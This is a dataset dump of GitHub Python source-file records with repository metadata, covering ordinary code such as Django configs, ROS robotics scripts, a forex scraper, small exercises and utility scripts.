blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 257
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b64a892771db4f09e82dc8848ce1e8a456c0b1ac | 7930864c38fd8aeaf3c9dd0bb396aaeb1ee0a0f2 | /mysite/mysite/urls.py | cfb6617a3019c34a3703d92c17c80a7cd8acdcea | [] | no_license | ksmith-1989/blog | 8caa46cff8f9dae4c4e6b3839c981520b0e9bbd0 | d46d786bd1320b7bf840f0bc40ddd6408eb358d2 | refs/heads/master | 2022-09-01T00:13:25.390912 | 2020-05-20T06:38:31 | 2020-05-20T06:38:31 | 265,130,040 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 798 | py | """mysite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based ... | [
"kj10068@gmail.com"
] | kj10068@gmail.com |
7b10e1771bc7133cd12e42ff4ced75617ba3270c | 826cdefb3554e6bbc7b5e5fa9bc6f55268cd58dd | /src/main/python/basics/itertools.py | 4c731ae4d27d12208d8fbb8b22bcd656bceb3a3f | [] | no_license | lj015625/CodeSnippet | 67d1f556497948b3db51c67af07f16a21751427e | 73e9375c5d7edcc50170569c0bd99fd415557d85 | refs/heads/master | 2023-09-01T14:59:57.162553 | 2023-08-24T11:07:37 | 2023-08-24T11:07:37 | 61,499,418 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,043 | py | import itertools as it
def combinational_dice_rolls(n, m):
return list(it.product(range(1, m+1), repeat=n))
combinational_dice_rolls(2,2)
def cartesian_product(arr1, arr2):
print(*it.product(A, B))
A = [1,2,3]
B = [1,2,3]
cartesian_product(A,B)
s, n = 2, 3
s = sorted(str(s))
n = int(n)
for i in it.permutati... | [
"leonardo.ji@cerner.com"
] | leonardo.ji@cerner.com |
689d10639b1ba6a0ebc83a093cb7bb8d7adaf79a | d2b533cf97fc7c09534bec634e9984b41b2188cc | /chapter_15/random_walk.py | 138bdc47d740f2423b5aa7d816d9615fb99a6083 | [] | no_license | EdwardHc/python | 65f5dbb99a547b5de9d918deb8e019ada124ad22 | 31af9adf3c2e300164072a428b5a273b94f8bf46 | refs/heads/master | 2020-04-10T23:10:10.506947 | 2018-12-20T14:54:09 | 2018-12-20T14:54:09 | 161,343,920 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 954 | py | from random import choice
class RandomWalk():
'''一个生成随机漫步数据的类'''
def __init__(self,num_points=5000):
'''初始化随机漫步的属性'''
self.num_points=num_points
#所有随机漫步都始于(0,0)
self.x_values=[0]
self.y_values=[0]
def get_step(self):
'''计算每次移动步数'''
direction=choice([1,-1])
distance=choice([0,1,2,3,4,5,6,7,8])
st... | [
"aahuichao0811@126.com"
] | aahuichao0811@126.com |
ece4d0ba4c813bec3de36f51ced17e2d06a8f913 | 868d4287d986abe26f2ef8e0ee4c0a8bb29c136f | /imagedetection.py | 12e6029b9964ac8557620c04e1f3ceab077c1166 | [] | no_license | 87jaydeepsingh/python-test-files- | edf9c46af4ed84137a7d594a958f093b33ced2a0 | e836a940301b1b77c29c25d7d84cb1473147a72c | refs/heads/master | 2023-06-18T09:08:57.237784 | 2021-07-20T18:42:15 | 2021-07-20T18:42:15 | 387,876,156 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 376 | py | import face_recognition
known_image = face_recognition.load_image_file("test.jpg")
unknown_image = face_recognition.load_image_file("download.jpg")
biden_encoding = face_recognition.face_encodings(known_image)[0]
unknown_encoding = face_recognition.face_encodings(unknown_image)[0]
results = face_recognition.compare_f... | [
"87jaydeepsingh@github.com"
] | 87jaydeepsingh@github.com |
bc64be2d69532cff8650b5bcfc4817578ae55e87 | efaeb34b3c86ef9d79be6f4b9e17f34080d117e9 | /tests/test_network.py | c941b44771d583b3e1a4d10c00cbc9628661065b | [] | no_license | Mazyod/ethogram | f64346180536e75c404c94ef5c04ab833b00b454 | c5498f2de31e6c6cb4c06569d7884b10a89bbabe | refs/heads/master | 2021-04-27T02:26:32.396570 | 2019-03-08T14:32:38 | 2019-03-08T14:32:38 | 122,696,093 | 6 | 2 | null | 2018-06-01T20:48:28 | 2018-02-24T02:44:27 | Python | UTF-8 | Python | false | false | 291 | py | import unittest
from ethogram.network import Network
class NetworkTests(unittest.TestCase):
def test_fetch_all_rigs(self):
network = Network()
rigs = network.fetch_rigs("mazyod")
self.assertEqual(len(rigs), 1)
self.assertEqual(rigs[0].name, "mastery")
| [
"mazjaleel@gmail.com"
] | mazjaleel@gmail.com |
684e78d298475edf5350934fbb380bb497a3bb7e | 0cc9ba497efeae7de808b3063f932cee9449bc20 | /akshare/fx/currency_investing.py | 41abf6485117ce7ccd18ebed6240baa7a5dd72a6 | [
"MIT"
] | permissive | louis100/akshare | 08dc7d71c194e973092174dabc307e28a2aaf7d6 | 0b2ad15982dc1e4081929ed634e96c559bf3ef7e | refs/heads/master | 2022-12-12T16:26:38.294899 | 2020-09-16T04:25:46 | 2020-09-16T04:25:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,907 | py | # -*- coding:utf-8 -*-
# /usr/bin/env python
"""
Date: 2020/9/9 11:56
Desc: 英为财情-外汇-货币对历史数据
https://cn.investing.com/currencies/
https://cn.investing.com/currencies/eur-usd-historical-data
"""
import re
import pandas as pd
import requests
from bs4 import BeautifulSoup
from akshare.index.cons import short_headers, lon... | [
"jindaxiang@163.com"
] | jindaxiang@163.com |
bdf1986e8d10fb5da6a93a381a574ceed36d5151 | 2bc833baedc7244c88162e0d254dc46ab9c38fd0 | /src/hello_ros/src/picknplace_object.py | 298d7579570a04833069cb48bc8f176fad2dd64b | [] | no_license | mmmmimic/Pick-and-Place | 5a6b289cac1d14d1f2b3e83140a4494771248a48 | c27a28223b2c54c9679d2fc5874534aeeaa657c5 | refs/heads/master | 2022-09-16T21:47:41.064299 | 2020-06-03T21:16:03 | 2020-06-03T21:16:03 | 214,512,885 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,423 | py | #!/usr/bin/env python
'''
mini project1
pick and place
Created by Group 5
07/10/2019
'''
import roslib
roslib.load_manifest('hello_ros')
import rospy
import numpy as np
from std_msgs.msg import String
from gazebo_msgs.msg import ModelStates
import sys
import moveit_commander
import geometry_msgs.msg
import moveit_msg... | [
"matthewlin98@hotmail.com"
] | matthewlin98@hotmail.com |
6b2e29155e7989d4f19247ee43a3ae011cd71080 | a3c662a5eda4e269a8c81c99e229879b946a76f6 | /.venv/lib/python3.7/site-packages/pylint/test/functional/line_endings.py | 0b6e795e3f2c9b2e9ec6f93c33469324e1ea67ba | [
"MIT"
] | permissive | ahmadreza-smdi/ms-shop | 0c29da82c58b243507575672bbc94fb6e8068aeb | 65ba3f3061e2ac5c63115b08dadfe7d67f645fb6 | refs/heads/master | 2023-04-27T19:51:34.858182 | 2019-11-24T20:57:59 | 2019-11-24T20:57:59 | 223,616,552 | 6 | 2 | MIT | 2023-04-21T20:51:21 | 2019-11-23T16:09:03 | Python | UTF-8 | Python | false | false | 107 | py | "mixing line endings are not welcome"
# +1: [unexpected-line-ending-format, mixed-line-endings]
CONST = 1
| [
"ahmadreza.smdi@gmail.com"
] | ahmadreza.smdi@gmail.com |
8c66385405873707fcd3fa458d8f11637899adb4 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/323/usersdata/278/89121/submittedfiles/mdc.py | 3185a3f53219a38653c6a227ae7e28e217f85f66 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 604 | py | # -*- coding: utf-8 -*-
import math
n1 = int(input("Digite o primeiro número inteiro: "))
n2 = int(input("Digite o segundo número inteiro: "))
mdc=1
if n1>n2:
for i in range (2,n2,1):
resto1=n1%i
resto2=n2%i
if resto1==0 and resto2==0:
mdc=mdc*i
if mdc==1:
print(mdc)
... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
cf6cdee9548d5e2bf2bc60c5ac516c2831f29116 | 6517bd4dac45eb82e309b9fde8b6bc6a60741d72 | /dj_env/lib/python3.7/site-packages/django_plotly_dash/routing.py | 10cd9c65179c3b558eb0cd5c239a6a33c9b4eb72 | [] | no_license | labanyamukhopadhyay/mara-app | 17488ee6157a3690796685087a8cb0c3aeba9278 | 5b95a99b6cf603cd19a236d324ed3d1212c5ebbe | refs/heads/main | 2023-04-11T16:16:52.707651 | 2021-04-24T01:06:07 | 2021-04-24T01:06:07 | 341,999,086 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,985 | py | '''
Routing for standard pipe connections
Copyright (c) 2018 Gibbs Consulting and others - see CONTRIBUTIONS.md
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including with... | [
"labanyam@hotmail.com"
] | labanyam@hotmail.com |
b2b57465fe49db3db5b58fef26c370a7f74985ee | ba88cd6db28f160fec810d69e27fdd42c84b753a | /prep_model.py | f87cdab4ae43ca39ff5f905f99fd5e81bf0681b1 | [
"MIT"
] | permissive | erhanbas/imgclsmob | 02057ceabf863ce571507abbee89d7d4fd3431b3 | 5eacf51b96c8e715f73a77261395f0fac35dfffc | refs/heads/master | 2023-03-11T05:43:02.358759 | 2021-02-11T17:56:22 | 2021-02-11T17:56:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,378 | py | """
Script for preparing the model for publication.
"""
import os
import argparse
import subprocess
import shutil
import re
import hashlib
import zipfile
import pandas as pd
def parse_args():
"""
Parse python script parameters.
Returns:
-------
ArgumentParser
Resulted args.
"""
... | [
"osemery@gmail.com"
] | osemery@gmail.com |
5785c2cf7d09d99cb7127abda3281fc2feef3960 | 08f7a3c56db1b937696272fd07f1df52fee863d7 | /Linear_Regression/simple_linear_regression.py | fe03c685fb78748a12066fde223ebc9dfd90d6d7 | [
"MIT"
] | permissive | Randyjp/ml_sl_models | 5c29643f79c0c41fb38a51ae819ab7b9570740ab | 8d8735d312adc3e59398ce4154fc58dfe62c66a9 | refs/heads/master | 2021-09-07T12:23:02.545941 | 2018-02-22T21:24:32 | 2018-02-22T21:24:32 | 119,282,712 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,163 | py | from sklearn.datasets import load_boston
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import cross_val_predict, cross_val_score
import matplotlib.pyplot as plt
# load the data set we'll be working with. In this case the Boston housing
boston = load_boston()
y = boston.target # respo... | [
"randy@Randys-MacBook-Pro.local"
] | randy@Randys-MacBook-Pro.local |
e48a135645e3ef4e54e636050eed7af1fa14972e | 9d1c260ff8e58335e0f373cfdd530e637ea803a8 | /EVENT.py | 963c1b66313d4f3a5b72fbc09ebc1ccffb81b482 | [
"MIT"
] | permissive | rambasnet/EVENT | e52931e3224b712e8b044e58382e4d170a835dc4 | dd3a6507112e4adc054481608d8968706f80d23f | refs/heads/master | 2020-06-01T23:39:28.843906 | 2019-06-09T20:07:02 | 2019-06-09T20:07:02 | 190,967,667 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 963 | py | #-----------------------------------------------------------------------------
# Name: event.py
# Purpose:
#
# Author: Ram Basnet
#
# Created: 2009/10/10
# RCS-ID: $Id: event.py $
# Copyright: (c) 2009
# Licence: All Rights Reserved.
#-------------------------------------------... | [
"rambasnet@gmail.com"
] | rambasnet@gmail.com |
b1e5746abe4f2a60c8abfb1769dffacfa9dc968c | 74b595899d732dba5d3880735d35003eac0d5695 | /users/views.py | 5a044a6810be38dbdd6e0bab44d451b3bba06921 | [] | no_license | SirCna98/FinalKarshenasiProjectSocialWebsite | 5f60c3dfb108db27af9ae7ce305bbf0b0bbec326 | 00b04c832b911da7a4132033c8690a739bcbbfa2 | refs/heads/master | 2023-06-21T20:14:25.860786 | 2021-07-08T07:10:01 | 2021-07-08T07:10:01 | 384,031,430 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,460 | py | from django.shortcuts import render, redirect
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm
def register(request):
if request.method == 'POST':
form = UserRegisterForm(request.POST)
... | [
"46351734+SirCna98@users.noreply.github.com"
] | 46351734+SirCna98@users.noreply.github.com |
fb329b172f65df3eda2304e0d4b90c8211e3863f | 30816710f64515d9af98b19da522ecdd2a745258 | /origin/faster_rcnn/core/loader.py | 4281edcfaa68aef9a31cdc9bc02c5122ecfb40b4 | [] | no_license | unsky/Feature-Pyramid-Networks | 457a441a500b1b552b5a89c11384e96f8cf60dd5 | 890e9c74a8fcea20bd33b90bac6c58e42294298d | refs/heads/master | 2021-06-26T00:59:50.874246 | 2017-09-06T02:57:19 | 2017-09-06T02:57:19 | 101,043,340 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,702 | py | # --------------------------------------------------------
# Deformable Convolutional Networks
# Copyright (c) 2016 by Contributors
# Copyright (c) 2017 Microsoft
# Licensed under The Apache-2.0 License [see LICENSE for details]
# Modified by Yuwen Xiong
# --------------------------------------------------------
impor... | [
"2081264@qq.com"
] | 2081264@qq.com |
66eaa91bd8b9ba468b7fe3e980d9d3b87fff3a67 | ae88a361b06ec0148794d31c9dcb9d608007a555 | /Problems/Piggy bank/task.py | e6badc571d1a8ccf3722fd63d109e9dfd67b91a0 | [] | no_license | IkDev08/Coffe_Machine.py | 2a689fa4e8105aaa14d92fba92f7c0a6b95b9326 | 2070a44468a7d27ba9397408558bf106984252a6 | refs/heads/master | 2022-12-08T11:37:18.518831 | 2020-08-12T23:26:59 | 2020-08-12T23:26:59 | 286,838,633 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 307 | py | class PiggyBank:
def __init__(self, dollars, cents):
self.dollars = dollars
self.cents = cents
def add_money(self, deposit_dollars, deposit_cents):
self.dollars += deposit_dollars + (self.cents + deposit_cents) // 100
self.cents = (self.cents + deposit_cents) % 100
| [
"ikramcodepro@gmail.com"
] | ikramcodepro@gmail.com |
394aae955584b27d44b90dca03f5daec522f9a3d | b2bfd1c01b956b1e21aa231bb2c592498fbdeac4 | /calculator2_old.py | 14bcd4227e3db895fb4e46704e76401c104b0143 | [] | no_license | shlampley/learning | 943cce6d980f7be2dc27773e4906bf357993b3dc | 7c6d1c11e3fe46fdd02eaeb5e4ada66327cb3bfd | refs/heads/main | 2023-06-06T03:03:00.402008 | 2021-06-28T05:08:07 | 2021-06-28T05:08:07 | 374,529,968 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py |
def add(x, y):
return x + y
def subtract(x, y):
return x - y
def multiply(x, y):
return x * y
def divide(x, y):
return x / y
def main():
# Print out initial instructions
print("select opperation. ")
print("1.Add ")
print("2.Subtract ")
print("3.Multiply ")
print("4.Divide ")
... | [
"shanelampley09@gmail.com"
] | shanelampley09@gmail.com |
f98415d5d18eb4b792776ce32c19d1c5c5c071ff | 8c16a4c80612d6a0f7917114c01da26447beee17 | /code/ReID_net/Forwarding/MOT15Forwarder.py | 847a576f1920cef5da289341d6f5749b9ea093c8 | [
"MIT"
] | permissive | sbouchardet/PReMVOS | 89d3088593a2d5719537478475362b765f5f82a4 | 0743b632ea7525b2b43f2f31e3891d7437837d84 | refs/heads/master | 2022-09-10T19:38:45.477840 | 2020-06-01T01:51:41 | 2020-06-01T01:51:41 | 268,400,213 | 0 | 0 | MIT | 2020-06-01T01:50:10 | 2020-06-01T01:50:09 | null | UTF-8 | Python | false | false | 4,012 | py | from .Forwarder import Forwarder
import numpy
from ReID_net.Log import log
import time
class MOT15Forwarder(Forwarder):
def __init__(self, engine):
super(MOT15Forwarder, self).__init__(engine)
self.data = engine.valid_data.seq_data.eval()
self.engine = engine
def forward(self, network, data, save_resu... | [
"jonathon.luiten@rwth-aachen.de"
] | jonathon.luiten@rwth-aachen.de |
77b375ea92af6828ac619b1f95161a31ede5b9e0 | 73d97144ae324f17afc12f198e207f4eaf3ab5f2 | /test/functional/create_cache.py | 3a75a38eb7536824f4e4799f7995b0ca047ee13c | [
"MIT"
] | permissive | fivebalanceID/Fivebalance_V3 | 89437d9bfbdc4f4e60f0f93e7491e061c2361f63 | 353986eb40326fe0c66d9172ea2b0a925b31c734 | refs/heads/master | 2022-06-16T23:13:33.670502 | 2021-05-21T04:57:44 | 2021-05-21T04:57:44 | 186,277,193 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,063 | py | #!/usr/bin/env python3
# Copyright (c) 2016-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Create a blockchain cache.
Creating a cache of the blockchain speeds up test execution when running
mu... | [
"43383911+fivebalanceID@users.noreply.github.com"
] | 43383911+fivebalanceID@users.noreply.github.com |
e8a823a890546c56c66c3bb0dbf0a510a17cf622 | 13f7adf576114c51f9f806a6fc5797b276d93f97 | /devel/lib/python2.7/dist-packages/autoware_msgs/msg/_traffic_light.py | 90177962beab0e196bf6f3c7b6ff861fedd20be4 | [] | no_license | yunjeongkim/keti_ws | a72a5ebc367b208654bdffb5bb9e8372cd959d33 | aaac717c15a7be7431b22fb4ec7a96a734f2e03c | refs/heads/master | 2020-04-05T06:18:52.334522 | 2018-11-21T01:47:34 | 2018-11-21T01:47:34 | 156,633,425 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,252 | py | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from autoware_msgs/traffic_light.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import std_msgs.msg
class traffic_light(genpy.Message):
_md5sum = "a4931ba214a0e37e220d... | [
"dallddungi@kaist.ac.kr"
] | dallddungi@kaist.ac.kr |
906eeb2a5472e5b670a01e82a47e15fedcdef251 | ba680f058f072e2950309ed40be8db110b29d24d | /python-primitiv/tests/instance_match.py | 990d4cfb6914632e8260b40d475f155d84deef7d | [
"Apache-2.0"
] | permissive | vbkaisetsu/primitiv | 29fb1b6ae0d544001997b157183e9df71eff1fae | 063c33ed7d3ddb49e56ede55471faaab6f67e063 | refs/heads/develop | 2021-05-07T23:42:11.845122 | 2017-11-03T04:29:23 | 2017-11-03T04:29:23 | 107,549,088 | 0 | 0 | null | 2017-10-19T13:20:40 | 2017-10-19T13:20:39 | null | UTF-8 | Python | false | false | 2,032 | py | from primitiv import Device
from primitiv import Graph
from primitiv import Parameter
from primitiv import Shape
from primitiv import Tensor
from primitiv import initializers as I
from primitiv import operators as F
from primitiv import tensor_operators as tF
from primitiv.devices import Naive
import numpy as np
impor... | [
"vbkaisetsu@gmail.com"
] | vbkaisetsu@gmail.com |
8530b6df6d2323c36d60a62c4890586510371443 | 94b5a22e94250322f9e949c2da2fd15bf7a9b84d | /train_aug.py | bc5b876849c699a97a20934f71f0a0d05426d291 | [
"MIT"
] | permissive | Mars-Wei/DD2424 | 7aabc88c72ab31857255bf64363853c6a8714270 | 2d0de060bf27572ad67ae99f8bc17060eab1e4cc | refs/heads/master | 2022-01-19T14:00:29.387999 | 2019-05-21T09:24:30 | 2019-05-21T09:24:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,624 | py | "Fine-tuning BertMasked Model with labeled dataset"
from __future__ import absolute_import, division, print_function
import argparse
import logging
import os
import random
import csv
import numpy as np
import torch
from torch.utils.data import DataLoader, RandomSampler, TensorDataset, SequentialSampler
from torch.util... | [
"roylandstinger@gmail.com"
] | roylandstinger@gmail.com |
ae246fba8be299e7a03b72db632f82a55e5f6415 | 876e4043d5f68b71cdfd8796c85f502710f9f542 | /Colores.py | bc315012a8fbd9d5fd71df5be4e3dda44688a78a | [] | no_license | Edgarlv/Tarea_04 | cb6a36644002fa3ae1f951438bd132105555de63 | 31283587997702ab33ae7e19bca256ac23e90b86 | refs/heads/master | 2021-01-18T20:14:52.962230 | 2016-09-18T22:37:39 | 2016-09-18T22:37:39 | 68,458,853 | 0 | 0 | null | 2016-09-17T15:00:05 | 2016-09-17T15:00:05 | null | UTF-8 | Python | false | false | 732 | py | #encoding: UTF-8
#author: Edgar Eduardo Alvarado Duran
#Problema 3
def calcularColores(a,b):
if a=="rojo" and b=="azul" or b=="rojo" and a=="azul":
return "Morado"
else:
if a=="rojo" and b=="amarillo" or b=="rojo" and a=="amarillo":
return "Naranja"
else:
if a=="... | [
"noreply@github.com"
] | Edgarlv.noreply@github.com |
66a9052b381170d325564e1f868643a4dbafd533 | ad5d38fce4785037c108186f17eb1c64380355ef | /sddsd/google-cloud-sdk/lib/googlecloudsdk/third_party/apis/billingbudgets/v1beta1/billingbudgets_v1beta1_messages.py | 703342bc274d39c84cc7f65280b83732457e9420 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | saranraju90/multik8s | 75864b605a139ddb7947ed4de4ae8466bdd49acb | 428576dedef7bb9cd6516e2c1ab2714581e1137c | refs/heads/master | 2023-03-03T21:56:14.383571 | 2021-02-20T14:56:42 | 2021-02-20T14:56:42 | 339,665,231 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20,295 | py | """Generated message classes for billingbudgets version v1beta1.
The Cloud Billing Budget API stores Cloud Billing budgets, which define a
budget plan and the rules to execute as spend is tracked against that plan.
"""
# NOTE: This file is autogenerated and should not be edited by hand.
from __future__ import absolut... | [
"saranraju90@gmail.com"
] | saranraju90@gmail.com |
4e3448bfeb4bf56e2ff41fc71a1727b619f401e6 | 526b6454565583700866463e46f66ede67165e2b | /expenses/pagination.py | d231586502537a64f68fbb878914834860e78b17 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | thangadurairajapandiyan/django-expenses | a0f04ac41d1b02be82642a084545a2b356fd5a59 | 4a463052a67ac080427857d3fec16cf78eb70c3b | refs/heads/master | 2023-03-30T04:24:01.096399 | 2021-03-31T20:30:17 | 2021-03-31T20:30:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,126 | py | # Pretty Pagination
# Copyright © 2018-2021, Chris Warrick.
# All rights reserved.
# License: 3-clause BSD
from itertools import zip_longest
def pagination(num, maxpage):
"""Generate a pretty pagination."""
if maxpage <= 5:
return list(range(1, maxpage + 1))
page_range = []
if num == 1:
... | [
"kwpolska@gmail.com"
] | kwpolska@gmail.com |
72e5684f277e58025c9c50f2581ad6e89346988e | a9ec8521eff0d44683570115705139ed7cd00882 | /base_LM.py | e4ec39f617487113fa8d98dd6f7a85508a35d71e | [] | no_license | TheSuguser/problem | 1b8727f986857ecc89f13b19d19770fd6dfd2804 | 81cf6c1c87b971c7c33946afe77408e8eb18be39 | refs/heads/master | 2021-08-11T16:45:15.240045 | 2017-11-13T23:38:01 | 2017-11-13T23:38:01 | 108,463,721 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,999 | py | #! SETUP 1
import sys, os
_snlp_book_dir = "../../../../"
sys.path.append(_snlp_book_dir)
import statnlpbook.lm as lm
import statnlpbook.ohhla as ohhla
import math
import numpy as np
import matplotlib.pyplot as plt
#! SETUP 2
_snlp_train_dir = _snlp_book_dir + "/data/ohhla/train"
_snlp_dev_dir = _snlp_book_dir + "/da... | [
"joeyzhengzhe@gmail.com"
] | joeyzhengzhe@gmail.com |
2c05a5eb643ee36b8e1f9138cc739f830a29c969 | 38be6da813f2d230a90d1ac4c7deb81ca6221be0 | /search/binary_search/codeforces/F1324D/Solution.py | 55ba84a305dc917f87772d4b5b6ba75b95632875 | [
"MIT"
] | permissive | MdAman02/problem_solving | c8c0ce3cd5d6daa458cb0a54ac419c7518bdbe1f | 1cb731802a49bbb247b332f2d924d9440b9ec467 | refs/heads/dev | 2022-09-13T09:40:51.998372 | 2022-09-04T14:15:17 | 2022-09-04T14:15:17 | 256,194,798 | 0 | 0 | MIT | 2020-04-16T19:08:24 | 2020-04-16T11:27:57 | Java | UTF-8 | Python | false | false | 616 | py | # problem name: Pair of Topics
# problem link: https://codeforces.com/contest/1324/problem/D
# contest link: https://codeforces.com/contest/1324
# time: (?)
# author: reyad
# other_tags: sortings, two pointers, data structures
# note: this problem can be solved in various ways, so there are so many tags
... | [
"reyadussalahin@gmail.com"
] | reyadussalahin@gmail.com |
387e7946b76b5cefb857f2e1d09d69c969770f03 | dee63018105424e25595f798b70b20a2085ab701 | /src/wam.py | 58239a6099b7e58b4b26598c239fc6516bdf6b29 | [] | no_license | tian-zhou/ttp | 166da7951a8e8cbf91ce60e28fd5f485347a988c | 61965f6e0d4bda347bc26314aedfcc84401d539f | refs/heads/master | 2020-03-11T09:20:42.224432 | 2018-05-27T19:04:14 | 2018-05-27T19:04:14 | 129,907,848 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,590 | py | #!/usr/bin/env python
"""
Description:
the program which governs communication with WAM robot
get real-time heartbeat from WAM to know its position
and send target joint position for WAM to go to
Sample usage:
wam = WAM()
wam.init_socket(host='128.46.125.212', port=4000, buflen=256)
wam.query... | [
"leochou1991@gmail.com"
] | leochou1991@gmail.com |
a332729be8de4ce9a7e33437066ae82c80110be0 | bf7ad5c52e5be4fbf34816b95932d520e0f579d4 | /repeat.py | 0419ac8f22b5134ed7e2a5bb1e9e31d10d076841 | [] | no_license | veronicarose27/vero | 4722381a6598e3fc6f87596d52f6ca860219ad19 | c943344596dc4398accdd81bd9936ff114b8d738 | refs/heads/master | 2020-06-11T21:13:32.613495 | 2019-07-19T17:20:46 | 2019-07-19T17:20:46 | 194,087,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | y,z=map(int,input().split())
p=list(map(int,input().split()))
count=0
for i in range(0,len(p)):
for j in range(1,len(p)):
if(p[i]==p[j]):
count=count+1
if(count==z):
print(p[i])
break
| [
"noreply@github.com"
] | veronicarose27.noreply@github.com |
9b62a7f48fc31dd7431f348d7aa69ae41a386d94 | 6905b39a6d982c414a641861663c7da93b25351c | /app/app/settings.py | 68ccef7037fdb818a0146ce53807c6c20b8b05ab | [
"MIT"
] | permissive | dipee/recipe-app-api | 003668f7a476485616a77c885a26c399f24f31a3 | 1215da91f1336c204fabaafdfba74a3ebe7c7f9d | refs/heads/main | 2023-03-19T18:38:03.057332 | 2021-03-14T18:13:21 | 2021-03-14T18:13:21 | 343,751,639 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,317 | py | """
Django settings for app project.
Generated by 'django-admin startproject' using Django 3.1.7.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
import os
from pa... | [
"dipen.2052@gmail.com"
] | dipen.2052@gmail.com |
5cb177dcd14dbafc7f108ae4f38bcc1277cfc7ee | 0c3cb483095ab16018178cd8fec9c911e24597d5 | /main/app.py | a62ac1efe34bd5a86e91fb63e490a803945e7c2d | [] | no_license | AlexandreGuillermin/perso | d2ded3be9fb2b5f27b1fabe36a841d20796d2afb | b85a23987c36b35aa88d092f852268e5963a83ed | refs/heads/master | 2020-12-06T22:33:47.460101 | 2020-01-08T14:43:29 | 2020-01-08T14:43:29 | 232,569,844 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 252 | py | from main.repository.monitor import Monitor
def run():
server_ip_address = "3.89.135.227"
port = 22
username = "interfadm"
password = "Projet654!"
monitor = Monitor(server_ip_address, username, password)
monitor.connect_ssh()
| [
"noreply@github.com"
] | AlexandreGuillermin.noreply@github.com |
2e2ce31c358b69b0e6e61d4d8d53e58e55c87bf3 | 761975333f8353f0e23555c551b8eddc1b8bbe2b | /csvtools/csvsubsample.py | 4ec195c90c9ccca8464261aed1158fea43361307 | [
"MIT"
] | permissive | anbubenzigar/csvtools | e8763a0f9369f0101603b3988d5c2eede7c8cd7f | 6b6666369a70e367d8a9727472d2e72cfa658765 | refs/heads/master | 2023-04-10T21:21:47.302465 | 2021-04-20T23:47:29 | 2021-04-20T23:47:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | #!/usr/bin/env python
'''
subsample a tsv
'''
import argparse
import logging
import random
import sys
def main(probability):
logging.info('reading from stdin...')
first = True
total = written = 0
for line in sys.stdin:
if first:
sys.stdout.write(line)
first = False
else:
total += ... | [
"peter@supernifty.org"
] | peter@supernifty.org |
